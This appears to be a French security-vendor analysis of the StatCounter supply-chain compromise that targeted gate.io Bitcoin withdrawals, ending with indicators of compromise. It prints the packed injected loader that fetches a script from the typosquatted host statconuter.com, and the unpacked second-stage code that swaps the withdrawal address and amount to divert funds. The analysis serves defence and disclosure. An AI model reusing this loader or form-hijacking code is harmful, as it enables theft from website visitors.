Le 3 novembre, les attaquants ont réussi à percer StatCounter, une plateforme d'analyse Web de pointe. Ce service est utilisé par de nombreux webmasters pour recueillir des statistiques sur leurs visiteurs - un service très similaire à Google Analytics. Pour ce faire, les webmestres ajoutent habituellement une balise JavaScript externe incorporant un morceau de code de StatCounter dans chaque page Web. Ainsi, en compromettant la plateforme de StatCounter– www.statcounter[.]com/counter/counter.js – les attaquants peuvent injecter du code JavaScript dans tous les sites Web qui utilisent StatCounter.
Selon leur site Web, StatCounter compte plus de 2 millions de sites membres et calcule des statistiques sur plus de 10 milliards de pages vues par mois. Cette information est en ligne avec son rang Alexa étant un peu au-dessus de 5000. Pour comparaison, le site officiel de la distribution Debian Linux, debian.org, a un rang Alexa similaire.
Les attaquants ont modifié le script sur www.statcounter[.]com/counter/counter.js en ajoutant au milieu du script un morceau de code malveillant, affiché ci-dessous sous une forme « embellie » (ou prettified). Ceci est inhabituel, car les attaquants ajoutent généralement du code malveillant au début ou à la fin d'un fichier légitime. Le code injecté au milieu d'un script existant est généralement plus difficile à détecter par observation occasionnelle.
eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
Le script est rempli avec le packer Dean Edwards, qui est probablement le packer JavaScript le plus populaire. Cependant, il peut être trivialement décompressé, ce qui donne lieu à l'exécution du code du script, comme indiqué ci-dessous.
myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
Cette parcelle de code va d'abord vérifier si l'URL contient mon compte myaccount/withdraw/BTC. Ainsi, on peut d'ores et déjà deviner que le but des attaquants est de viser une plateforme Bitcoin. Si la vérification réussit, le script continue d'ajouter un nouvel élément de script à la page Web et incorpore le code à https://www.statconuter[.]com/c.php.
Remarquez que les attaquants ont enregistré un domaine très similaire au domaine légitime de StatCounter one, statcounter[.]com : ils viennent de changer deux lettres, ce qui peut être difficile à remarquer lors de l'analyse des logs à la recherche d'activités inhabituelles. Il est intéressant de noter qu'en vérifiant les DNS passifs du domaine, nous avons remarqué que ce domaine avait déjà été suspendu en 2010 pour abus.
Comme nous l’avons expliqué plus haut, le script cible un Uniform Resource Identifier (URI) spécifique : myaccount/withdraw/BTC. Il s'avère que parmi les différents échanges de cryptomonnaie en direct au moment d'écrire, seul gate.io a une page valide avec cette URI. Cet échange semble donc être la cible principale de cette attaque. Cet échange est très populaire, avec un classement Alexa de 26 251 et même 8 308 en Chine.
Aussi, selon coinmarketcap.com, plusieurs millions de dollars, dont 1,6 million de dollars en transactions bitcoin, transitent chaque jour sur cette plateforme. Ainsi, il pourrait être très rentable pour les attaquants d’y voler de la cryptomonnaie à grande échelle.
La page Web https://www.gate[.]io/myaccount/withdraw/BTC, montrée ci-dessous, est utilisée pour transférer bitcoin d'un compte gate.io vers une adresse Bitcoin externe.
Il n'est peut-être pas surprenant de constater que la charge utile de la deuxième étape, statconuter[.]com/c.php, soit conçue pour voler des pièces de rechange. Il est donc logique d'injecter le script dans la page Web de transfert bitcoin gate.io. Ce texte est également rempli de l'emballeuse Dean Edwards. La version « dépaquetée » (ou unpacked) est illustrée ci-dessous.
document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if (document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name'] = '';
var t = $("<input type='hidden' name='amount'/>");
t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
Sur la véritable page web gate.io, on trouve déjà une fonction doSubmit, appelée lorsque l'utilisateur clique sur le bouton submit, mais les attaquants la redéfinissent ici.
Le script remplace automatiquement l'adresse Bitcoin de destination par une adresse appartenant aux attaquants, par exemple 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad. Le serveur malveillant génère une nouvelle adresse Bitcoin à chaque fois qu'un visiteur charge le script statconuter[.]com/c.php. Il est donc difficile de voir combien de bitcoins ont été transférés aux attaquants.
Selon que la victime entre ou non un montant supérieur à 10 BTC, le script de l'attaquant l'utilisera ou utilisera la limite quotidienne de retrait du compte de la victime. Dans notre compte test, la limite de retrait est fixée par défaut à 100 BTC. Enfin, le script malveillant soumet le formulaire qui exécute le transfert du compte de la victime vers le portefeuille de l'attaquant.
Cette redirection est probablement imperceptible pour les victimes, puisque le remplacement est effectué après que celles-ci aient cliqué sur le bouton submit. Ainsi, cela se produira très rapidement et ne sera probablement même pas affiché.
Puisqu’une nouvelle adresse Bitcoin est générée à chaque fois que le script malveillant est envoyé à la victime, nous n'avons pas été en mesure de voir combien de bitcoins les attaquants ont recueillis. Ceci dit, si nous vérifions l'adresse que nous avons reçue sur notre machine de test, le solde est 0 BTC.
Conclusion
Même si nous ne savons pas combien de bitcoins ont été volés lors de cette attaque, cet exemple montre jusqu'où vont les attaquants pour cibler un site Web spécifique, en particulier un échange de cryptomonnaie. Pour y parvenir, ils ont compromis le site Web d'un service d'analyse, utilisé par plus de deux millions d'autres sites Web, dont plusieurs sites gouvernementaux, pour voler de la monnaie bitcoin aux clients d'un seul site d'échange de devises cryptographiques.
Cette attaque montre également que même si votre site Web est mis à jour et bien protégé, il demeure toujours aussi vulnérable que son maillon le plus faible, qui était dans ce cas-ci une ressource externe. Voilà un nouveau rappel que le code JavaScript externe est sous le contrôle d'un tiers et peut être modifié à tout moment sans préavis.
Nous avons avisé StatCounter et gate.io dès que nous avons découvert cette activité malveillante.
Pour toute demande de renseignements ou pour soumettre des exemples d'articles sur le sujet, veuillez communiquer avec nous à l'adresse threatintel@eset.com.
Indicateurs de compromission
URL malveillantes
- statcounter[.]com/counter/counter.js
- statconuter[.]com/c.php